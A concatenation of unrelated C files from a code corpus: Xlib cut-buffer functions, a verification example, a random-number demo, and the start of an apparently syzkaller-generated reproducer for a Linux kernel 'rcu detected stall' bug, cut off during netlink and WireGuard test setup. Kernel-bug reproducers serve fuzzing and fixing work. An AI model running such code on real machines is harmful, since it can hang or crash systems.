XA_CUT_BUFFER5,
XA_CUT_BUFFER6,
XA_CUT_BUFFER7};
int
XRotateBuffers (
register Display *dpy,
int rotate)
{
/* XRotateWindowProperties wants a non-const Atom*, but it doesn't
* modify it, so this is safe.
*/
return XRotateWindowProperties(dpy, RootWindow(dpy, 0), (Atom *)n_to_atom, 8, rotate);
}
char *XFetchBuffer (
register Display *dpy,
int *nbytes,
register int buffer)
{
Atom actual_type;
int actual_format;
unsigned long nitems;
unsigned long leftover;
unsigned char *data;
*nbytes = 0;
if ((buffer < 0) || (buffer > 7)) return (NULL);
/* XXX should be (sizeof (maxint) - 1)/4 */
if (XGetWindowProperty(dpy, RootWindow(dpy, 0), n_to_atom[buffer],
0L, 10000000L, False, XA_STRING,
&actual_type, &actual_format, &nitems, &leftover, &data) != Success) {
return (NULL);
}
if ( (actual_type == XA_STRING) && (actual_format != 32) ) {
*nbytes = nitems;
return((char *)data);
}
if ((char *) data != NULL) Xfree ((char *)data);
return(NULL);
}
char *XFetchBytes (
register Display *dpy,
int *nbytes)
{
return (XFetchBuffer (dpy, nbytes, 0));
}
int
XStoreBuffer (
register Display *dpy,
_Xconst char *bytes,
int nbytes,
register int buffer)
{
if ((buffer < 0) || (buffer > 7)) return 0;
return XChangeProperty(dpy, RootWindow(dpy, 0), n_to_atom[buffer],
XA_STRING, 8, PropModeReplace, (unsigned char *) bytes, nbytes);
}
int
XStoreBytes (
register Display *dpy,
_Xconst char *bytes,
int nbytes)
{
return XStoreBuffer (dpy, bytes, nbytes, 0);
}
|
the_stack_data/243892809.c
|
/* A non-terminating example, given to me by Joey Feldberg
* Date: 15.12.2013
* Author: Amir Ben-Amram, [email protected]
*
*/
extern int __VERIFIER_nondet_int(void);
int rec(int x) {
if (x <= 0) {
return x;
} else if (x%2 == 0) {
return rec(x/2);
} else {
int store = rec(++x);
return store + rec(--x);
}
}
int main() {
int x = __VERIFIER_nondet_int();
int y;
y = rec(x);
}
|
the_stack_data/97013432.c
|
#include<stdlib.h>
#include<stdio.h>
#include<time.h>
int main ()
{
int num;
int indr;
srand(time(NULL));
num= rand() %30;
indr=num+40;
printf("El número random es %d\n", indr);
printf("num es %d\n", num);
return 0;
}
|
the_stack_data/11039.c
|
// INFO: rcu detected stall in socket
// https://syzkaller.appspot.com/bug?id=6a2722264904ff7bf07d
// status:0
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <sched.h>
#include <setjmp.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include <linux/capability.h>
#include <linux/genetlink.h>
#include <linux/if_addr.h>
#include <linux/if_ether.h>
#include <linux/if_link.h>
#include <linux/if_tun.h>
#include <linux/in6.h>
#include <linux/ip.h>
#include <linux/neighbour.h>
#include <linux/net.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/tcp.h>
#include <linux/veth.h>
unsigned long long procid;
static __thread int skip_segv;
static __thread jmp_buf segv_env;
static void segv_handler(int sig, siginfo_t* info, void* ctx)
{
uintptr_t addr = (uintptr_t)info->si_addr;
const uintptr_t prog_start = 1 << 20;
const uintptr_t prog_end = 100 << 20;
if (__atomic_load_n(&skip_segv, __ATOMIC_RELAXED) &&
(addr < prog_start || addr > prog_end)) {
_longjmp(segv_env, 1);
}
exit(sig);
}
static void install_segv_handler(void)
{
struct sigaction sa;
memset(&sa, 0, sizeof(sa));
sa.sa_handler = SIG_IGN;
syscall(SYS_rt_sigaction, 0x20, &sa, NULL, 8);
syscall(SYS_rt_sigaction, 0x21, &sa, NULL, 8);
memset(&sa, 0, sizeof(sa));
sa.sa_sigaction = segv_handler;
sa.sa_flags = SA_NODEFER | SA_SIGINFO;
sigaction(SIGSEGV, &sa, NULL);
sigaction(SIGBUS, &sa, NULL);
}
#define NONFAILING(...) \
{ \
__atomic_fetch_add(&skip_segv, 1, __ATOMIC_SEQ_CST); \
if (_setjmp(segv_env) == 0) { \
__VA_ARGS__; \
} \
__atomic_fetch_sub(&skip_segv, 1, __ATOMIC_SEQ_CST); \
}
static void sleep_ms(uint64_t ms)
{
usleep(ms * 1000);
}
static uint64_t current_time_ms(void)
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
exit(1);
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
static void use_temporary_dir(void)
{
char tmpdir_template[] = "./syzkaller.XXXXXX";
char* tmpdir = mkdtemp(tmpdir_template);
if (!tmpdir)
exit(1);
if (chmod(tmpdir, 0777))
exit(1);
if (chdir(tmpdir))
exit(1);
}
#define BITMASK(bf_off, bf_len) (((1ull << (bf_len)) - 1) << (bf_off))
#define STORE_BY_BITMASK(type, htobe, addr, val, bf_off, bf_len) \
*(type*)(addr) = \
htobe((htobe(*(type*)(addr)) & ~BITMASK((bf_off), (bf_len))) | \
(((type)(val) << (bf_off)) & BITMASK((bf_off), (bf_len))))
static bool write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
int err = errno;
close(fd);
errno = err;
return false;
}
close(fd);
return true;
}
struct nlmsg {
char* pos;
int nesting;
struct nlattr* nested[8];
char buf[1024];
};
static struct nlmsg nlmsg;
static void netlink_init(struct nlmsg* nlmsg, int typ, int flags,
const void* data, int size)
{
memset(nlmsg, 0, sizeof(*nlmsg));
struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf;
hdr->nlmsg_type = typ;
hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags;
memcpy(hdr + 1, data, size);
nlmsg->pos = (char*)(hdr + 1) + NLMSG_ALIGN(size);
}
static void netlink_attr(struct nlmsg* nlmsg, int typ, const void* data,
int size)
{
struct nlattr* attr = (struct nlattr*)nlmsg->pos;
attr->nla_len = sizeof(*attr) + size;
attr->nla_type = typ;
memcpy(attr + 1, data, size);
nlmsg->pos += NLMSG_ALIGN(attr->nla_len);
}
static void netlink_nest(struct nlmsg* nlmsg, int typ)
{
struct nlattr* attr = (struct nlattr*)nlmsg->pos;
attr->nla_type = typ;
nlmsg->pos += sizeof(*attr);
nlmsg->nested[nlmsg->nesting++] = attr;
}
static void netlink_done(struct nlmsg* nlmsg)
{
struct nlattr* attr = nlmsg->nested[--nlmsg->nesting];
attr->nla_len = nlmsg->pos - (char*)attr;
}
static int netlink_send_ext(struct nlmsg* nlmsg, int sock, uint16_t reply_type,
int* reply_len)
{
if (nlmsg->pos > nlmsg->buf + sizeof(nlmsg->buf) || nlmsg->nesting)
exit(1);
struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf;
hdr->nlmsg_len = nlmsg->pos - nlmsg->buf;
struct sockaddr_nl addr;
memset(&addr, 0, sizeof(addr));
addr.nl_family = AF_NETLINK;
unsigned n = sendto(sock, nlmsg->buf, hdr->nlmsg_len, 0,
(struct sockaddr*)&addr, sizeof(addr));
if (n != hdr->nlmsg_len)
exit(1);
n = recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0);
if (hdr->nlmsg_type == NLMSG_DONE) {
*reply_len = 0;
return 0;
}
if (n < sizeof(struct nlmsghdr))
exit(1);
if (reply_len && hdr->nlmsg_type == reply_type) {
*reply_len = n;
return 0;
}
if (n < sizeof(struct nlmsghdr) + sizeof(struct nlmsgerr))
exit(1);
if (hdr->nlmsg_type != NLMSG_ERROR)
exit(1);
return -((struct nlmsgerr*)(hdr + 1))->error;
}
static int netlink_send(struct nlmsg* nlmsg, int sock)
{
return netlink_send_ext(nlmsg, sock, 0, NULL);
}
static int netlink_next_msg(struct nlmsg* nlmsg, unsigned int offset,
unsigned int total_len)
{
struct nlmsghdr* hdr = (struct nlmsghdr*)(nlmsg->buf + offset);
if (offset == total_len || offset + hdr->nlmsg_len > total_len)
return -1;
return hdr->nlmsg_len;
}
static void netlink_add_device_impl(struct nlmsg* nlmsg, const char* type,
const char* name)
{
struct ifinfomsg hdr;
memset(&hdr, 0, sizeof(hdr));
netlink_init(nlmsg, RTM_NEWLINK, NLM_F_EXCL | NLM_F_CREATE, &hdr,
sizeof(hdr));
if (name)
netlink_attr(nlmsg, IFLA_IFNAME, name, strlen(name));
netlink_nest(nlmsg, IFLA_LINKINFO);
netlink_attr(nlmsg, IFLA_INFO_KIND, type, strlen(type));
}
static void netlink_add_device(struct nlmsg* nlmsg, int sock, const char* type,
const char* name)
{
netlink_add_device_impl(nlmsg, type, name);
netlink_done(nlmsg);
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_add_veth(struct nlmsg* nlmsg, int sock, const char* name,
const char* peer)
{
netlink_add_device_impl(nlmsg, "veth", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
netlink_nest(nlmsg, VETH_INFO_PEER);
nlmsg->pos += sizeof(struct ifinfomsg);
netlink_attr(nlmsg, IFLA_IFNAME, peer, strlen(peer));
netlink_done(nlmsg);
netlink_done(nlmsg);
netlink_done(nlmsg);
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_add_hsr(struct nlmsg* nlmsg, int sock, const char* name,
const char* slave1, const char* slave2)
{
netlink_add_device_impl(nlmsg, "hsr", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
int ifindex1 = if_nametoindex(slave1);
netlink_attr(nlmsg, IFLA_HSR_SLAVE1, &ifindex1, sizeof(ifindex1));
int ifindex2 = if_nametoindex(slave2);
netlink_attr(nlmsg, IFLA_HSR_SLAVE2, &ifindex2, sizeof(ifindex2));
netlink_done(nlmsg);
netlink_done(nlmsg);
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_add_linked(struct nlmsg* nlmsg, int sock, const char* type,
const char* name, const char* link)
{
netlink_add_device_impl(nlmsg, type, name);
netlink_done(nlmsg);
int ifindex = if_nametoindex(link);
netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_add_vlan(struct nlmsg* nlmsg, int sock, const char* name,
const char* link, uint16_t id, uint16_t proto)
{
netlink_add_device_impl(nlmsg, "vlan", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
netlink_attr(nlmsg, IFLA_VLAN_ID, &id, sizeof(id));
netlink_attr(nlmsg, IFLA_VLAN_PROTOCOL, &proto, sizeof(proto));
netlink_done(nlmsg);
netlink_done(nlmsg);
int ifindex = if_nametoindex(link);
netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_add_macvlan(struct nlmsg* nlmsg, int sock, const char* name,
const char* link)
{
netlink_add_device_impl(nlmsg, "macvlan", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
uint32_t mode = MACVLAN_MODE_BRIDGE;
netlink_attr(nlmsg, IFLA_MACVLAN_MODE, &mode, sizeof(mode));
netlink_done(nlmsg);
netlink_done(nlmsg);
int ifindex = if_nametoindex(link);
netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_add_geneve(struct nlmsg* nlmsg, int sock, const char* name,
uint32_t vni, struct in_addr* addr4,
struct in6_addr* addr6)
{
netlink_add_device_impl(nlmsg, "geneve", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
netlink_attr(nlmsg, IFLA_GENEVE_ID, &vni, sizeof(vni));
if (addr4)
netlink_attr(nlmsg, IFLA_GENEVE_REMOTE, addr4, sizeof(*addr4));
if (addr6)
netlink_attr(nlmsg, IFLA_GENEVE_REMOTE6, addr6, sizeof(*addr6));
netlink_done(nlmsg);
netlink_done(nlmsg);
int err = netlink_send(nlmsg, sock);
(void)err;
}
#define IFLA_IPVLAN_FLAGS 2
#define IPVLAN_MODE_L3S 2
#undef IPVLAN_F_VEPA
#define IPVLAN_F_VEPA 2
static void netlink_add_ipvlan(struct nlmsg* nlmsg, int sock, const char* name,
const char* link, uint16_t mode, uint16_t flags)
{
netlink_add_device_impl(nlmsg, "ipvlan", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
netlink_attr(nlmsg, IFLA_IPVLAN_MODE, &mode, sizeof(mode));
netlink_attr(nlmsg, IFLA_IPVLAN_FLAGS, &flags, sizeof(flags));
netlink_done(nlmsg);
netlink_done(nlmsg);
int ifindex = if_nametoindex(link);
netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_device_change(struct nlmsg* nlmsg, int sock,
const char* name, bool up, const char* master,
const void* mac, int macsize,
const char* new_name)
{
struct ifinfomsg hdr;
memset(&hdr, 0, sizeof(hdr));
if (up)
hdr.ifi_flags = hdr.ifi_change = IFF_UP;
hdr.ifi_index = if_nametoindex(name);
netlink_init(nlmsg, RTM_NEWLINK, 0, &hdr, sizeof(hdr));
if (new_name)
netlink_attr(nlmsg, IFLA_IFNAME, new_name, strlen(new_name));
if (master) {
int ifindex = if_nametoindex(master);
netlink_attr(nlmsg, IFLA_MASTER, &ifindex, sizeof(ifindex));
}
if (macsize)
netlink_attr(nlmsg, IFLA_ADDRESS, mac, macsize);
int err = netlink_send(nlmsg, sock);
(void)err;
}
static int netlink_add_addr(struct nlmsg* nlmsg, int sock, const char* dev,
const void* addr, int addrsize)
{
struct ifaddrmsg hdr;
memset(&hdr, 0, sizeof(hdr));
hdr.ifa_family = addrsize == 4 ? AF_INET : AF_INET6;
hdr.ifa_prefixlen = addrsize == 4 ? 24 : 120;
hdr.ifa_scope = RT_SCOPE_UNIVERSE;
hdr.ifa_index = if_nametoindex(dev);
netlink_init(nlmsg, RTM_NEWADDR, NLM_F_CREATE | NLM_F_REPLACE, &hdr,
sizeof(hdr));
netlink_attr(nlmsg, IFA_LOCAL, addr, addrsize);
netlink_attr(nlmsg, IFA_ADDRESS, addr, addrsize);
return netlink_send(nlmsg, sock);
}
static void netlink_add_addr4(struct nlmsg* nlmsg, int sock, const char* dev,
const char* addr)
{
struct in_addr in_addr;
inet_pton(AF_INET, addr, &in_addr);
int err = netlink_add_addr(nlmsg, sock, dev, &in_addr, sizeof(in_addr));
(void)err;
}
static void netlink_add_addr6(struct nlmsg* nlmsg, int sock, const char* dev,
const char* addr)
{
struct in6_addr in6_addr;
inet_pton(AF_INET6, addr, &in6_addr);
int err = netlink_add_addr(nlmsg, sock, dev, &in6_addr, sizeof(in6_addr));
(void)err;
}
static void netlink_add_neigh(struct nlmsg* nlmsg, int sock, const char* name,
const void* addr, int addrsize, const void* mac,
int macsize)
{
struct ndmsg hdr;
memset(&hdr, 0, sizeof(hdr));
hdr.ndm_family = addrsize == 4 ? AF_INET : AF_INET6;
hdr.ndm_ifindex = if_nametoindex(name);
hdr.ndm_state = NUD_PERMANENT;
netlink_init(nlmsg, RTM_NEWNEIGH, NLM_F_EXCL | NLM_F_CREATE, &hdr,
sizeof(hdr));
netlink_attr(nlmsg, NDA_DST, addr, addrsize);
netlink_attr(nlmsg, NDA_LLADDR, mac, macsize);
int err = netlink_send(nlmsg, sock);
(void)err;
}
static int tunfd = -1;
static int tun_frags_enabled;
#define TUN_IFACE "syz_tun"
#define LOCAL_MAC 0xaaaaaaaaaaaa
#define REMOTE_MAC 0xaaaaaaaaaabb
#define LOCAL_IPV4 "172.20.20.170"
#define REMOTE_IPV4 "172.20.20.187"
#define LOCAL_IPV6 "fe80::aa"
#define REMOTE_IPV6 "fe80::bb"
#define IFF_NAPI 0x0010
#define IFF_NAPI_FRAGS 0x0020
static void initialize_tun(void)
{
tunfd = open("/dev/net/tun", O_RDWR | O_NONBLOCK);
if (tunfd == -1) {
printf("tun: can't open /dev/net/tun: please enable CONFIG_TUN=y\n");
printf("otherwise fuzzing or reproducing might not work as intended\n");
return;
}
const int kTunFd = 240;
if (dup2(tunfd, kTunFd) < 0)
exit(1);
close(tunfd);
tunfd = kTunFd;
struct ifreq ifr;
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, TUN_IFACE, IFNAMSIZ);
ifr.ifr_flags = IFF_TAP | IFF_NO_PI;
if (ioctl(tunfd, TUNSETIFF, (void*)&ifr) < 0) {
exit(1);
}
char sysctl[64];
sprintf(sysctl, "/proc/sys/net/ipv6/conf/%s/accept_dad", TUN_IFACE);
write_file(sysctl, "0");
sprintf(sysctl, "/proc/sys/net/ipv6/conf/%s/router_solicitations", TUN_IFACE);
write_file(sysctl, "0");
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sock == -1)
exit(1);
netlink_add_addr4(&nlmsg, sock, TUN_IFACE, LOCAL_IPV4);
netlink_add_addr6(&nlmsg, sock, TUN_IFACE, LOCAL_IPV6);
uint64_t macaddr = REMOTE_MAC;
struct in_addr in_addr;
inet_pton(AF_INET, REMOTE_IPV4, &in_addr);
netlink_add_neigh(&nlmsg, sock, TUN_IFACE, &in_addr, sizeof(in_addr),
&macaddr, ETH_ALEN);
struct in6_addr in6_addr;
inet_pton(AF_INET6, REMOTE_IPV6, &in6_addr);
netlink_add_neigh(&nlmsg, sock, TUN_IFACE, &in6_addr, sizeof(in6_addr),
&macaddr, ETH_ALEN);
macaddr = LOCAL_MAC;
netlink_device_change(&nlmsg, sock, TUN_IFACE, true, 0, &macaddr, ETH_ALEN,
NULL);
close(sock);
}
const int kInitNetNsFd = 239;
#define DEVLINK_FAMILY_NAME "devlink"
#define DEVLINK_CMD_PORT_GET 5
#define DEVLINK_CMD_RELOAD 37
#define DEVLINK_ATTR_BUS_NAME 1
#define DEVLINK_ATTR_DEV_NAME 2
#define DEVLINK_ATTR_NETDEV_NAME 7
#define DEVLINK_ATTR_NETNS_FD 138
static int netlink_devlink_id_get(struct nlmsg* nlmsg, int sock)
{
struct genlmsghdr genlhdr;
struct nlattr* attr;
int err, n;
uint16_t id = 0;
memset(&genlhdr, 0, sizeof(genlhdr));
genlhdr.cmd = CTRL_CMD_GETFAMILY;
netlink_init(nlmsg, GENL_ID_CTRL, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(nlmsg, CTRL_ATTR_FAMILY_NAME, DEVLINK_FAMILY_NAME,
strlen(DEVLINK_FAMILY_NAME) + 1);
err = netlink_send_ext(nlmsg, sock, GENL_ID_CTRL, &n);
if (err) {
return -1;
}
attr = (struct nlattr*)(nlmsg->buf + NLMSG_HDRLEN +
NLMSG_ALIGN(sizeof(genlhdr)));
for (; (char*)attr < nlmsg->buf + n;
attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) {
if (attr->nla_type == CTRL_ATTR_FAMILY_ID) {
id = *(uint16_t*)(attr + 1);
break;
}
}
if (!id) {
return -1;
}
recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0); /* recv ack */
return id;
}
static void netlink_devlink_netns_move(const char* bus_name,
const char* dev_name, int netns_fd)
{
struct genlmsghdr genlhdr;
int sock;
int id, err;
sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (sock == -1)
exit(1);
id = netlink_devlink_id_get(&nlmsg, sock);
if (id == -1)
goto error;
memset(&genlhdr, 0, sizeof(genlhdr));
genlhdr.cmd = DEVLINK_CMD_RELOAD;
netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(&nlmsg, DEVLINK_ATTR_BUS_NAME, bus_name, strlen(bus_name) + 1);
netlink_attr(&nlmsg, DEVLINK_ATTR_DEV_NAME, dev_name, strlen(dev_name) + 1);
netlink_attr(&nlmsg, DEVLINK_ATTR_NETNS_FD, &netns_fd, sizeof(netns_fd));
err = netlink_send(&nlmsg, sock);
if (err) {
}
error:
close(sock);
}
static struct nlmsg nlmsg2;
static void initialize_devlink_ports(const char* bus_name, const char* dev_name,
const char* netdev_prefix)
{
struct genlmsghdr genlhdr;
int len, total_len, id, err, offset;
uint16_t netdev_index;
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (sock == -1)
exit(1);
int rtsock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (rtsock == -1)
exit(1);
id = netlink_devlink_id_get(&nlmsg, sock);
if (id == -1)
goto error;
memset(&genlhdr, 0, sizeof(genlhdr));
genlhdr.cmd = DEVLINK_CMD_PORT_GET;
netlink_init(&nlmsg, id, NLM_F_DUMP, &genlhdr, sizeof(genlhdr));
netlink_attr(&nlmsg, DEVLINK_ATTR_BUS_NAME, bus_name, strlen(bus_name) + 1);
netlink_attr(&nlmsg, DEVLINK_ATTR_DEV_NAME, dev_name, strlen(dev_name) + 1);
err = netlink_send_ext(&nlmsg, sock, id, &total_len);
if (err) {
goto error;
}
offset = 0;
netdev_index = 0;
while ((len = netlink_next_msg(&nlmsg, offset, total_len)) != -1) {
struct nlattr* attr = (struct nlattr*)(nlmsg.buf + offset + NLMSG_HDRLEN +
NLMSG_ALIGN(sizeof(genlhdr)));
for (; (char*)attr < nlmsg.buf + offset + len;
attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) {
if (attr->nla_type == DEVLINK_ATTR_NETDEV_NAME) {
char* port_name;
char netdev_name[IFNAMSIZ];
port_name = (char*)(attr + 1);
snprintf(netdev_name, sizeof(netdev_name), "%s%d", netdev_prefix,
netdev_index);
netlink_device_change(&nlmsg2, rtsock, port_name, true, 0, 0, 0,
netdev_name);
break;
}
}
offset += len;
netdev_index++;
}
error:
close(rtsock);
close(sock);
}
static void initialize_devlink_pci(void)
{
int netns = open("/proc/self/ns/net", O_RDONLY);
if (netns == -1)
exit(1);
int ret = setns(kInitNetNsFd, 0);
if (ret == -1)
exit(1);
netlink_devlink_netns_move("pci", "0000:00:10.0", netns);
ret = setns(netns, 0);
if (ret == -1)
exit(1);
close(netns);
initialize_devlink_ports("pci", "0000:00:10.0", "netpci");
}
#define DEV_IPV4 "172.20.20.%d"
#define DEV_IPV6 "fe80::%02x"
#define DEV_MAC 0x00aaaaaaaaaa
static void netdevsim_add(unsigned int addr, unsigned int port_count)
{
char buf[16];
sprintf(buf, "%u %u", addr, port_count);
if (write_file("/sys/bus/netdevsim/new_device", buf)) {
snprintf(buf, sizeof(buf), "netdevsim%d", addr);
initialize_devlink_ports("netdevsim", buf, "netdevsim");
}
}
#define WG_GENL_NAME "wireguard"
enum wg_cmd {
WG_CMD_GET_DEVICE,
WG_CMD_SET_DEVICE,
};
enum wgdevice_attribute {
WGDEVICE_A_UNSPEC,
WGDEVICE_A_IFINDEX,
WGDEVICE_A_IFNAME,
WGDEVICE_A_PRIVATE_KEY,
WGDEVICE_A_PUBLIC_KEY,
WGDEVICE_A_FLAGS,
WGDEVICE_A_LISTEN_PORT,
WGDEVICE_A_FWMARK,
WGDEVICE_A_PEERS,
};
enum wgpeer_attribute {
WGPEER_A_UNSPEC,
WGPEER_A_PUBLIC_KEY,
WGPEER_A_PRESHARED_KEY,
WGPEER_A_FLAGS,
WGPEER_A_ENDPOINT,
WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
WGPEER_A_LAST_HANDSHAKE_TIME,
WGPEER_A_RX_BYTES,
WGPEER_A_TX_BYTES,
WGPEER_A_ALLOWEDIPS,
WGPEER_A_PROTOCOL_VERSION,
};
enum wgallowedip_attribute {
WGALLOWEDIP_A_UNSPEC,
WGALLOWEDIP_A_FAMILY,
WGALLOWEDIP_A_IPADDR,
WGALLOWEDIP_A_CIDR_MASK,
};
static int netlink_wireguard_id_get(struct nlmsg* nlmsg, int sock)
{
struct genlmsghdr genlhdr;
struct nlattr* attr;
int err, n;
uint16_t id = 0;
memset(&genlhdr, 0, sizeof(genlhdr));
genlhdr.cmd = CTRL_CMD_GETFAMILY;
netlink_init(nlmsg, GENL_ID_CTRL, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(nlmsg, CTRL_ATTR_FAMILY_NAME, WG_GENL_NAME,
strlen(WG_GENL_NAME) + 1);
err = netlink_send_ext(nlmsg, sock, GENL_ID_CTRL, &n);
if (err) {
return -1;
}
attr = (struct nlattr*)(nlmsg->buf + NLMSG_HDRLEN +
NLMSG_ALIGN(sizeof(genlhdr)));
for (; (char*)attr < nlmsg->buf + n;
attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) {
if (attr->nla_type == CTRL_ATTR_FAMILY_ID) {
id = *(uint16_t*)(attr + 1);
break;
}
}
if (!id) {
return -1;
}
recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0); /* recv ack */
return id;
}
static void netlink_wireguard_setup(void)
{
const char ifname_a[] = "wg0";
const char ifname_b[] = "wg1";
const char ifname_c[] = "wg2";
const char private_a[] =
"\xa0\x5c\xa8\x4f\x6c\x9c\x8e\x38\x53\xe2\xfd\x7a\x70\xae\x0f\xb2\x0f\xa1"
"\x52\x60\x0c\xb0\x08\x45\x17\x4f\x08\x07\x6f\x8d\x78\x43";
const char private_b[] =
"\xb0\x80\x73\xe8\xd4\x4e\x91\xe3\xda\x92\x2c\x22\x43\x82\x44\xbb\x88\x5c"
"\x69\xe2\x69\xc8\xe9\xd8\x35\xb1\x14\x29\x3a\x4d\xdc\x6e";
const char private_c[] =
"\xa0\xcb\x87\x9a\x47\xf5\xbc\x64\x4c\x0e\x69\x3f\xa6\xd0\x31\xc7\x4a\x15"
"\x53\xb6\xe9\x01\xb9\xff\x2f\x51\x8c\x78\x04\x2f\xb5\x42";
const char public_a[] =
"\x97\x5c\x9d\x81\xc9\x83\xc8\x20\x9e\xe7\x81\x25\x4b\x89\x9f\x8e\xd9\x25"
"\xae\x9f\x09\x23\xc2\x3c\x62\xf5\x3c\x57\xcd\xbf\x69\x1c";
const char public_b[] =
"\xd1\x73\x28\x99\xf6\x11\xcd\x89\x94\x03\x4d\x7f\x41\x3d\xc9\x57\x63\x0e"
"\x54\x93\xc2\x85\xac\xa4\x00\x65\xcb\x63\x11\xbe\x69\x6b";
const char public_c[] =
"\xf4\x4d\xa3\x67\xa8\x8e\xe6\x56\x4f\x02\x02\x11\x45\x67\x27\x08\x2f\x5c"
"\xeb\xee\x8b\x1b\xf5\xeb\x73\x37\x34\x1b\x45\x9b\x39\x22";
const uint16_t listen_a = 20001;
const uint16_t listen_b = 20002;
const uint16_t listen_c = 20003;
const uint16_t af_inet = AF_INET;
const uint16_t af_inet6 = AF_INET6;
/* Unused, but useful in case we change this:
const struct sockaddr_in endpoint_a_v4 = {
.sin_family = AF_INET,
.sin_port = htons(listen_a),
.sin_addr = {htonl(INADDR_LOOPBACK)}};*/
const struct sockaddr_in endpoint_b_v4 = {
.sin_family = AF_INET,
.sin_port = htons(listen_b),
.sin_addr = {htonl(INADDR_LOOPBACK)}};
const struct sockaddr_in endpoint_c_v4 = {
.sin_family = AF_INET,
.sin_port = htons(listen_c),
.sin_addr = {htonl(INADDR_LOOPBACK)}};
struct sockaddr_in6 endpoint_a_v6 = {.sin6_family = AF_INET6,
.sin6_port = htons(listen_a)};
endpoint_a_v6.sin6_addr = in6addr_loopback;
/* Unused, but useful in case we change this:
const struct sockaddr_in6 endpoint_b_v6 = {
.sin6_family = AF_INET6,
.sin6_port = htons(listen_b)};
endpoint_b_v6.sin6_addr = in6addr_loopback; */
struct sockaddr_in6 endpoint_c_v6 = {.sin6_family = AF_INET6,
.sin6_port = htons(listen_c)};
endpoint_c_v6.sin6_addr = in6addr_loopback;
const struct in_addr first_half_v4 = {0};
const struct in_addr second_half_v4 = {htonl(128 << 24)};
const struct in6_addr first_half_v6 = {{{0}}};
const struct in6_addr second_half_v6 = {{{0x80}}};
const uint8_t half_cidr = 1;
const uint16_t persistent_keepalives[] = {1, 3, 7, 9, 14, 19};
struct genlmsghdr genlhdr = {.cmd = WG_CMD_SET_DEVICE, .version = 1};
int sock;
int id, err;
sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (sock == -1) {
return;
}
id = netlink_wireguard_id_get(&nlmsg, sock);
if (id == -1)
goto error;
netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_a, strlen(ifname_a) + 1);
netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_a, 32);
netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_a, 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_b, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_b_v4,
sizeof(endpoint_b_v4));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[0], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
